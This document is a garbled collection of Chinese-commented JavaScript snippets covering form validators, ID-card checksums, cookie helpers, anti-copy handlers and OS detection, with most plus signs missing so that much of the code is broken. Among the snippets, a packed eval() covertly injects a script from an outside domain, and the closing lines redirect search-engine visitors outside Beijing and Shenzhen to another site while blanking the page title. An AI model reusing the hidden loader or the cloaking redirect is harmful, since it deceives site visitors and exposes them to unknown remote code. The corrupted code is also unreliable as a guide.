var reg = /^0?(13[0-9]| 14[0-9]|15[0-9]|17[0-9]|18[0-9]|)[0-9]{8}$/;
var pattern = /^([a-zA-Z0-9_-]) @([a-zA-Z0-9_-]) (\.[a-zA-Z0-9_-]) /;
flag = pattern.test(email);
/* var pattern = /^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/;*/
var pattern = /^((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|71|(8[12])|91)\d{4}((19\d{2}(0[13-9]|1[012])(0[1-9]|[12]\d|30))|(19\d{2}(0[13578]|1[02])31)|(19\d{2}02(0[1-9]|1\d|2[0-8]))|(19([13579][26]|[2468][048]|0[48])0229))\d{3}(\d|X|x)?$/
var weightpreg = /^\d (\.\d{1,})?$/;
οnkeyup="javascript:isFormateNum(this,6);"
function isFormateNum(ob,len){ //len长度
ob.value = ob.value.substring(0,len);
ob.value=ob.value.replace(/\D/g,'');
var nam = /^[\u4e00-\u9fa5] $/;
正则汉字:/^[\u4e00-\u9fa5] $/gi;
"s4-12":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{4,12}$/,
"s5":/^[\u4E00-\u9FA5\uf900-\ufa2d]{0,5}$/,
"hz6":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{9}$/,
"idcard": function(gets, obj, curform, datatype) {
var Wi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1]; // 加权因子;
var ValideCode = [1, 0, 10, 9, 8, 7, 6, 5, 4, 3, 2]; // 身份证验证位值,10代表X;
return isValidityBrithBy15IdCard(gets);
} else if (gets.length == 18) {
var a_idCard = gets.split(""); // 得到身份证数组
if (isValidityBrithBy18IdCard(gets) && isTrueValidateCodeBy18IdCard(a_idCard)) {
function isTrueValidateCodeBy18IdCard(a_idCard) {
if (a_idCard[17].toLowerCase() == 'x') {
a_idCard[17] = 10; // 将最后位为x的验证码替换为10方便后续操作
for (var i = 0; i < 17; i ) {
sum = Wi[i] * a_idCard[i]; // 加权求和
valCodePosition = sum % 11; // 得到验证码所位置
if (a_idCard[17] == ValideCode[valCodePosition]) {
function isValidityBrithBy18IdCard(idCard18) {
var year = idCard18.substring(6, 10);
var month = idCard18.substring(10, 12);
var day = idCard18.substring(12, 14);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 这里用getFullYear()获取年份,避免千年虫问题
if (temp_date.getFullYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
function isValidityBrithBy15IdCard(idCard15) {
var year = idCard15.substring(6, 8);
var month = idCard15.substring(8, 10);
var day = idCard15.substring(10, 12);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 对于老身份证中的你年龄则不需考虑千年虫问题而使用getYear()方法
if (temp_date.getYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
var a=document.getElementById("li").style.display;
document.getElementById("li").style.display="none"
document.getElementById("li").style.display="block"
$('.show_type').bind("click", function() {
if ($('#goods_list').hasClass('openList')){
$('#goods_list').removeClass('openList');
$('#goods_list').addClass('openList');
var a=document.getElementById("read").value ;
document.getElementById("read").value="1"
document.getElementById("read").value="0"
var a =document.getElementById("test").childNodes;
var b = document.getElementById("weight").value;
$(document).ready(function (){
q $("#username").blur(function (){
if($("#username").val()==''){
$("#usernames").text("必填!");
$.post("__APP__/Home/Index/ajax_user",{'name':$("#username").val()},function (data){
$("#usernames").text("用户名已存在!");
$("#usernames").text("*");
$("#tui").click(function (){
window.prompt("请复制推荐地址",window.location.href );
var Input = $('fieldset input');
var copy=document.execCommand('copy');
swal("复制成功!", "success");
./Public/Home/images/prev.png 当前目录
/Public/Home/images/prev.png 根目录
$("#name").attr('style','border:solid 1px red');
//加载前一页: location.replace(document.referrer);
//重新加载当前页面: window.location.reload();
window.location.href='__APP__/Index/index'
var rli=($("#yli").val()/12)*month.toFixed(3);
$(document).ready(function (){
var str = '水瓶座,双鱼座,白羊座,金牛座,双子座,巨蟹座,狮子座,处女座,天秤座,天蝎座,射手座,摩羯座';
var strs=str.split(","); //字符分割
$(".enter").click(function (){
var i=Math.floor(Math.random()*12); //生成1-12之间的数组
window.location.href="__APP__/Index/xingzuo/title/" strs[i];
document.οncοntextmenu=stop;
//功能:屏蔽鼠标右键、复制、粘贴、CTRL、ALT、SHIFT、F2~F12等,仅建议对文章内容独特性要求或不愿意被随意复制内容的站点**
//屏蔽鼠标右键、ALT翻页、CTRL N、CTRL R、F2~F12、SHIFT 左键
jQuery(document).ready(function($){
$(document).bind("contextmenu",function(){return false;});
$(document).bind("selectstart",function(){return false;});
$(document).keydown(function(){return key(arguments[0])});
}else if(e.which){ //firefox/opera/chrome/netscape
// (keyCode==122)|| //F11
document.οncοntextmenu=new Function("event.returnValue=false;");
document.onselectstart=new Function("event.returnValue=false;");
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
if (typeof document.onselectstart!="undefined") {
document.onselectstart=new Function ("return false")
document.οnmοusedοwn=disableselect
document.οnmοuseup=reEnable
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
if (typeof document.onselectstart!="undefined"){
document.onselectstart=new Function ("return false")
document.οnmοusedοwn=disableselect
document.οnmοuseup=reEnable
document.οncοntextmenu=stop;
qq_list = new Array('企鹅号1', '企鹅号2','企鹅号23333');
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin=" qq_list[qq_i] "&site=&menu=yes";
$('.qq_iframe').attr('src',src);
qq_list = new Array('企鹅号1', '企鹅号2');
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin=" qq_list[qq_i] "&site=&menu=yes";
$('.qq_iframe').attr('src', src);
}, 10000)//这里的单位是毫秒,10000就是10秒弹
console.log("\u0070\u006f\u0077\u0065\u0072\u0020\u0062\u0079\u0020\u007a\u0068\u0069\u0073\u0068\u0075\u006e");
//设为首页 < a οnclick="SetHome(this,window.location)" > 设为首页 < /a>
function SetHome(obj, url) {
obj.style.behavior = 'url(#default#homepage)';
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
alert("抱歉,此操作被浏览器拒绝!\n\n请在浏览器地址栏输入“about:config”并回车然后将[signed.applets.codebase_principal_support]设置为'true'");
alert("抱歉,您所使用的浏览器无法完成此操作。\n\n您需要手动将【" url "】设置为首页。");
// 加入收藏 < a οnclick="AddFavorite(document.title,window.location)" >加入收藏< /a>
function AddFavorite(title, url) {
window.external.addFavorite(url, title);
window.sidebar.addPanel(title, url, "");
alert("抱歉,您所使用的浏览器无法完成此操作。\n\n加入收藏失败,请使用Ctrl D进行添加");
// 保存到桌面 < a οnclick="toDesktop(window.location, document.title)" >加入收藏< /a>
function toDesktop(sUrl, sName) {
var WshShell = new ActiveXObject("WScript.Shell");
var oUrlLink = WshShell.CreateShortcut(WshShell.SpecialFolders("Desktop") "\\" sName ".url");
oUrlLink.TargetPath = sUrl;
$('input[name="check"]:checked').each(function () {
zongji= parseInt($(this).val());
zongji=parseInt(zshi'pongji) parseInt($(this).val());
var aboutHeight=$(".aboutText").height(); ///获取文本框高度 if(aboutHeight>600){ $(".aboutText").addClass("aboutText-height") ///添加样式
$(".cont-right").append("点击查看更多
") ///添加文本
} $(".moresss").click(function(){ $(".aboutText").removeClass("aboutText-height");///移除样式
$(this).addClass("thisit"). siblings ("li").removeClass("thisit");//样式切换
with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src=' https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/static/protocol/https/jquery/jquery-1.10.2.min_65682a2.js?cdnversion= ' ~(-new Date()/36e5)];
var sUserAgent = navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
if (isMac){ return "Mac";}
var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
if (isUnix){ return "Unix";}
var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
if (isLinux){ return "Linux";}
var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
if (isWin2K){ return "Win2000"};
var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
if (isWinXP){ return "WinXP";}
var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2003){ return "Win2003";}
var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
if (isWinVista){ return "WinVista";}
var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7){ return "Win7";}
document.writeln("您的操作系统是:" detectOS());
$("#nav li:eq(4)>a").addClass("current");
setTimeout("MyAutoRun()",1000); //隔1000毫秒就执行一次MyAutoRun()函数
document.getElementsByTagName('form')[0].reset();
window.οnlοad= formReset; // 每当页面加载时,重置表单
var actzhi=$(this).val();
var sdjfksdf=$(this).parents("form").attr("action");// 获取action
$(this).parents("form").attr("action","{:U('Index/shop')}"); 赋值
}else if(actzhi=='加入购物车'){
$(this).parents("form").attr("action","{:U('Index/joincar')}");
jQuery.focusblur = function(focusid) {
var focusblurid = $(focusid);
var defval = focusblurid.val();
focusblurid.focus(function(){
var thisval = $(this).val();
focusblurid.blur(function(){
var thisval = $(this).val();
function btnPrintClick(){
var d = new Date(); //创建一个Date对象
var localTime = d.getTime();
var localOffset =d.getTimezoneOffset()*60000; //获得当地时间偏移的毫秒数
var utc = localTime localOffset; //utc即GMT时间
//伦敦 0 纽约 -5 香港 8 悉尼10 东京9 瑞士 1
var ld = new Date(lundun);
var niuyue = utc (3600000*(-5));
var ny = new Date(niuyue);
var xianggang = utc (3600000*8);
var xg = new Date(xianggang);
var xini = utc (3600000*10);
var dongjing = utc (3600000*9);
var dj = new Date(dongjing);
var ruishi = utc (3600000*1);
var rs = new Date(ruishi);
str = '伦敦 ' ld.getHours() ':' ld.getMinutes() ':' ld.getSeconds() '';
str = '纽约 ' ny.getHours() ':' ny.getMinutes() ':' ny.getSeconds() '';
str = '香港 ' xg.getHours() ':' xg.getMinutes() ':' xg.getSeconds() '';
str = '悉尼 ' xn.getHours() ':' xn.getMinutes() ':' xn.getSeconds() '';
str = '东京 ' dj.getHours() ':' dj.getMinutes() ':' dj.getSeconds() '';
str = '瑞士 ' rs.getHours() ':' rs.getMinutes() ':' rs.getSeconds() '';
$('#time_info').html(str);
description =i " = " property "\n";
function charStats(str) {
var data=charStats('abcdaabc');
var str=i "=" data[i];// i 而data[ i ] 就代表 userName 12121 就是 i 所对应的值;
return"\"" o.replace(/([\'\"\\])/g,"\\$1").replace(/(\n)/g,"\\n").replace(/(\r)/g,"\\r").replace(/(\t)/g,"\\t") "\"";
r.push(i ":" obj2string(o[i]));
if(!!document.all&&!/^\n?function\s*toString\(\)\s*\{\n?\s*\[native code\]\n?\s*\}\n?\s*$/.test(o.toString)){
r.push("toString:" o.toString.toString());
function SetCookie(name, value) {
exp.setTime(exp.getTime() 3 * 24 * 60 * 60 * 1000); //3天过期
document.cookie = name "=" encodeURIComponent(value) ";expires=" exp.toGMTString() ";path=/";
function getCookieVal(offset) {
var endstr = document.cookie.indexOf(";",offset);
endstr = document.cookie.length;
// return unescape(document.cookie.substring(offset,endstr)); //解码
return unescape(unescape(document.cookie.substring(offset,endstr))); //修改成两次unescape
function GetCookie(name) {
var clen = document.cookie.length;
if(document.cookie.substring(i,j) == arg)
i = document.cookie.indexOf(" ",i) 1;
document.write(document.cookie "
" GetCookie("name"));
$(".team input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".team input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
//获取当前input:checkbox 是否被选中
1.$(this).get(0).checked;
2.$(this).is(':checked');
4.$(this).prop('checked');
$(".team dl dd").click(function(){
if($(this).find('input').prop('checked')||$(this).find('input').prop('checked')=='checked'){
$(this).parent().find("input").removeAttr("checked");
$(this).find('input').prop("checked", true);
$(".brother input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".brother input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w '};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p;}('3.4("<0 1=2://5.8.9/6.7>0>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
$(val).attr('value',$(val).val());
$('p').replaceWith('##');
$(this).replaceWith('' $(this).html() '');
$(this).replaceWith(translate[$(this).html()]);
//统一url传值的类型,可以使用js对参数进行URL编码
var _name=encodeURI($("#name").val()); //编码
String _name=URLDecoder.decode(areaDTO.getName(),"utf-8");
$(document).ready(function (){
$("#clear").click(function (){
if(true==confirm('您确定要清空吗?')){
$.post("__APP__/Member/dels",function (data){
window.location.reload();
$("#selectall").click(function () {
var collid = document.getElementById("selectall").checked;
var $ = document.getElementsByName('iii');
for(var i = 0; i < $.length; i ){
for(var i = 0; i < $.length; i )
today=today.getYear() "-" (today.getMonth() 1) "-" today.getDate();
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-] ){1,2}\//ig;
var where =document.referer;
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-] ){1,2}\//ig;
var where= document.referrer;
if(lo == '北京市'||lo =='深圳'||lc == '北京市'||lc =='深圳'){
window.document.title ='';
if(parent.window.opener){
parent.window.opener.location="http://www.alonesky.com/";
window.location.href="http://video.alonesky.com/";